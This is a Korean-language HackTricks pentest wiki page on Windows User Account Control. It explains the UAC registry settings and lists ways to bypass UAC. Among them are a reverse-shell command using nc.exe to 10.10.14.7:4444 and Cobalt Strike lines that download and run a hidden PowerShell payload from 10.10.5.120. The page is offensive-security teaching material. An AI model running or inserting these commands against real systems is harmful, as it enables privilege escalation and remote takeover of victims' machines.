19 KiB
UAC - 사용자 계정 제어
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!
HackTricks를 지원하는 다른 방법:
- 회사가 HackTricks에 광고되길 원하거나 PDF 형식의 HackTricks를 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 우리의 독점 NFTs 컬렉션
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 저장소로 PR을 제출하여 해킹 트릭을 공유하세요.
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
UAC
사용자 계정 제어 (UAC)는 승격된 활동에 대한 동의 프롬프트를 활성화하는 기능입니다. 응용 프로그램은 서로 다른 무결성
수준을 갖고 있으며 높은 수준의 프로그램은 시스템을 잠재적으로 손상시킬 수 있는 작업을 수행할 수 있습니다. UAC가 활성화되어 있으면 응용 프로그램과 작업은 항상 관리자가 명시적으로 이러한 응용 프로그램/작업이 시스템에 대한 관리자 수준 액세스 권한을 갖도록 허용하지 않는 한 항상 관리자가 아닌 계정의 보안 컨텍스트에서 실행됩니다. 이는 관리자가 의도하지 않은 변경으로부터 보호하는 편의 기능이지만 보안 경계로 간주되지는 않습니다.
무결성 수준에 대한 자세한 정보는 다음을 참조하세요:
{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}
UAC가 적용되면 관리자 사용자에게 표준 사용자 키와 관리자 권한을 갖는 토큰이 2개 제공됩니다.
이 페이지는 UAC가 어떻게 작동하는지에 대해 상세히 설명하며 로그온 프로세스, 사용자 경험 및 UAC 아키텍처를 포함합니다. 관리자는 로컬 수준에서 보안 정책을 사용하여 UAC가 조직에 특정하게 작동하도록 구성할 수 있으며(secpol.msc 사용), 또는 Active Directory 도메인 환경에서 그룹 정책 객체(GPO)를 통해 구성 및 배포할 수 있습니다. 다양한 설정에 대한 자세한 내용은 여기에서 설명되어 있습니다. UAC에 대해 설정할 수 있는 10가지 그룹 정책 설정이 있습니다. 다음 표는 추가 세부 정보를 제공합니다:
그룹 정책 설정 | 레지스트리 키 | 기본 설정 |
---|---|---|
내장 관리자 계정에 대한 관리자 승인 모드 사용자 계정 제어 | FilterAdministratorToken | 비활성화 |
UIAccess 응용 프로그램이 안전한 데스크톱을 사용하지 않고 승격을 위해 프롬프트할 수 있도록 허용하는 사용자 계정 제어 | EnableUIADesktopToggle | 비활성화 |
관리자 승인 모드에서 관리자를 위한 승격 프롬프트 동작 사용자 계정 제어 | ConsentPromptBehaviorAdmin | 비 Windows 이진 파일에 대한 동의 프롬프트 |
표준 사용자를 위한 승격 프롬프트 동작 사용자 계정 제어 | ConsentPromptBehaviorUser | 안전한 데스크톱에서 자격 증명 프롬프트 |
응용 프로그램 설치 감지 및 승격을 위해 프롬프트하는 사용자 계정 제어 | EnableInstallerDetection | 활성화 (홈의 기본값) 비활성화 (기업의 기본값) |
서명 및 유효성이 검증된 실행 파일만 승격하는 사용자 계정 제어 | ValidateAdminCodeSignatures | 비활성화 |
안전한 위치에 설치된 UIAccess 응용 프로그램만 승격하는 사용자 계정 제어 | EnableSecureUIAPaths | 활성화 |
모든 관리자를 관리자 승인 모드에서 실행하는 사용자 계정 제어 | EnableLUA | 활성화 |
승격 프롬프트 시 안전한 데스크톱으로 전환하는 사용자 계정 제어 | PromptOnSecureDesktop | 활성화 |
파일 및 레지스트리 쓰기 실패를 사용자별 위치로 가상화하는 사용자 계정 제어 | EnableVirtualization | 활성화 |
UAC Bypass Theory
일부 프로그램은 사용자가 관리자 그룹에 속해 있으면 자동으로 자동 상승됩니다. 이러한 실행 파일에는 Manifests 내부에 autoElevate 옵션이 True 값으로 포함되어 있어야 합니다. 또한 실행 파일은 Microsoft에 의해 서명되어 있어야 합니다.
그런 다음 UAC를 우회하기 위해 (중간 무결성 수준에서 높은 수준으로 상승) 일부 공격자는 이러한 종류의 실행 파일을 사용하여 임의의 코드를 실행합니다. 왜냐하면 이 코드는 높은 수준의 무결성 프로세스에서 실행될 것이기 때문입니다.
도구 _sigcheck.exe_를 사용하여 실행 파일의 _Manifest_를 확인할 수 있습니다. 또한 _Sysinternals_의 Process Explorer 또는 _Process Monitor_를 사용하여 프로세스의 무결성 수준을 확인할 수 있습니다.
Check UAC
UAC가 활성화되어 있는지 확인하려면 다음을 수행하십시오:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
만약 **1
**이라면 UAC가 활성화되어 있고, **0
**이거나 존재하지 않는다면, UAC는 비활성화되어 있습니다.
그런 다음, 구성된 레벨을 확인하십시오:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- 만약 **
0
**이면, UAC는 나타나지 않습니다 (비활성화와 같음) - 만약 **
1
**이면, 관리자는 이진 파일을 높은 권한으로 실행하기 위해 사용자 이름과 암호를 요청받습니다 (안전한 데스크톱에서) - 만약 **
2
**이면 (항상 알림) UAC는 관리자가 높은 권한으로 무언가를 실행하려고 할 때 항상 확인을 요청합니다 (안전한 데스크톱에서) - 만약 **
3
**이면1
과 유사하지만 안전한 데스크톱에서 필요하지 않습니다 - 만약 **
4
**이면2
와 유사하지만 안전한 데스크톱에서 필요하지 않습니다 - 만약 **
5
**이면 (기본값) 관리자에게 Windows 이진 파일을 높은 권한으로 실행할 것인지 확인을 요청합니다
그런 다음 LocalAccountTokenFilterPolicy
값 확인해야 합니다.
값이 **0
**이면, RID 500 사용자 (기본 Administrator)만 UAC 없이 관리 작업을 수행할 수 있으며, 1
이면 "Administrators" 그룹 내의 모든 계정이 수행할 수 있습니다.
마지막으로 FilterAdministratorToken
키의 값을 확인해야 합니다.
0
(기본값)이면, 기본 Administrator 계정이 원격 관리 작업을 수행할 수 있고, 1
이면 기본 Administrator 계정이 원격 관리 작업을 수행할 수 없습니다. 단, LocalAccountTokenFilterPolicy
가 1
로 설정되어 있어야 합니다.
요약
EnableLUA=0
또는 존재하지 않으면, 누구에게도 UAC가 없음EnableLua=1
및LocalAccountTokenFilterPolicy=1
이면, 누구에게도 UAC가 없음EnableLua=1
및LocalAccountTokenFilterPolicy=0
및FilterAdministratorToken=0
이면, RID 500 (기본 Administrator)에게 UAC가 없음EnableLua=1
및LocalAccountTokenFilterPolicy=0
및FilterAdministratorToken=1
이면, 모두에게 UAC가 있음
이 모든 정보는 metasploit 모듈을 사용하여 수집할 수 있습니다: post/windows/gather/win_privs
또한 사용자의 그룹을 확인하고 무결성 수준을 얻을 수 있습니다:
net user %username%
whoami /groups | findstr Level
UAC 우회
{% hint style="info" %} 피해자에게 그래픽 액세스 권한이 있는 경우 UAC 우회는 간단합니다. UAC 프롬프트가 나타날 때 "예"를 클릭할 수 있습니다. {% endhint %}
UAC 우회는 다음 상황에서 필요합니다: UAC가 활성화되어 있고, 프로세스가 중간 무결성 컨텍스트에서 실행되며 사용자가 관리자 그룹에 속한 경우입니다.
가장 높은 보안 수준(항상)에 UAC가 있는 경우 다른 수준(기본값) 중 어느 것보다 UAC를 우회하는 것이 훨씬 어렵다는 것을 언급하는 것이 중요합니다.
UAC 비활성화
UAC가 이미 비활성화된 경우 (ConsentPromptBehaviorAdmin
이 0
) 다음과 같은 방법으로 관리자 권한(높은 무결성 수준)으로 역쉘을 실행할 수 있습니다:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
토큰 복제를 사용한 UAC 우회
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
매우 기본적인 UAC "우회" (전체 파일 시스템 액세스)
관리자 그룹에 속한 사용자가 있는 셸이 있는 경우 SMB(파일 시스템)을 통해 C$를 마운트할 수 있으며 새 디스크에 로컬로 마운트하면 파일 시스템 내의 모든 것에 액세스할 수 있습니다(심지어 관리자 홈 폴더까지).
{% hint style="warning" %} 이 요령은 더 이상 작동하지 않는 것으로 보입니다 {% endhint %}
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
UAC 바이패스 with cobalt strike
Cobalt Strike 기술은 UAC가 최대 보안 수준으로 설정되지 않은 경우에만 작동합니다.
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire 및 Metasploit에는 UAC를 우회하는 여러 모듈이 있습니다.
KRBUACBypass
https://github.com/wh0amitz/KRBUACBypass의 문서 및 도구
UAC 우회 공격
UACME는 여러 UAC 우회 공격의 컴파일입니다. Visual Studio 또는 msbuild를 사용하여 UACME를 컴파일해야 합니다. 컴파일하면 여러 실행 파일이 생성됩니다(예: Source\Akagi\outout\x64\Debug\Akagi.exe
), 어떤 것이 필요한지 알아야 합니다.
일부 우회 방법은 사용자에게 무언가가 발생하고 있다는 경고를 알리는 다른 프로그램을 실행할 수 있으므로 주의해야 합니다.
UACME에는 각 기술이 작동하기 시작한 빌드 버전이 있습니다. 해당 버전을 검색할 수 있습니다:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
UAC Bypass with GUI
만약 GUI에 액세스할 수 있다면 UAC 프롬프트가 표시될 때 그냥 수락하면 되며, 별도의 우회가 필요하지 않습니다. 따라서 GUI에 액세스하면 UAC를 우회할 수 있습니다.
또한, 누군가가 사용한 GUI 세션(아마도 RDP를 통해)을 얻으면 일부 도구가 관리자 권한으로 실행되어 있을 수 있으며, 여기서 UAC에 다시 프롬프트되지 않고 직접 cmd를 관리자 권한으로 실행할 수 있는 도구가 있습니다. 이는 조금 더 은밀할 수 있습니다.
Noisy brute-force UAC bypass
소음이 문제가 되지 않는다면 https://github.com/Chainski/ForceAdmin와 같은 도구를 실행하여 사용자가 수락할 때까지 권한 상승을 요청할 수 있습니다.
Your own bypass - Basic UAC bypass methodology
UACME를 살펴보면 대부분의 UAC 우회가 Dll Hijacking 취약점을 악용한다는 것을 알 수 있습니다(주로 악의적인 dll을 _C:\Windows\System32_에 작성). Dll Hijacking 취약점을 찾는 방법을 알아보려면 여기를 읽어보세요.
- 자동 상승할 이진 파일을 찾습니다(실행될 때 높은 통합 수준에서 실행되는지 확인).
- procmon을 사용하여 NAME NOT FOUND 이벤트를 찾아 DLL Hijacking에 취약할 수 있는지 확인합니다.
- 보호된 경로(예: C:\Windows\System32)에 DLL을 작성해야 할 수도 있습니다. 이 경우 다음을 사용하여 우회할 수 있습니다:
- wusa.exe: Windows 7, 8 및 8.1. 이 도구는 높은 통합 수준에서 실행되기 때문에 보호된 경로 내에서 CAB 파일의 내용을 추출할 수 있습니다.
- IFileOperation: Windows 10.
- 보호된 경로 내에 DLL을 복사하고 취약하며 자동 상승된 이진 파일을 실행하는 스크립트를 준비합니다.
Another UAC bypass technique
자동 상승된 이진 파일이 레지스트리에서 이진 파일 또는 명령의 이름/경로를 읽으려고 시도하는지 확인하는 것으로 구성됩니다(특히 이진 파일이 이 정보를 HKCU 내에서 검색하는 경우 더 흥미로울 수 있음).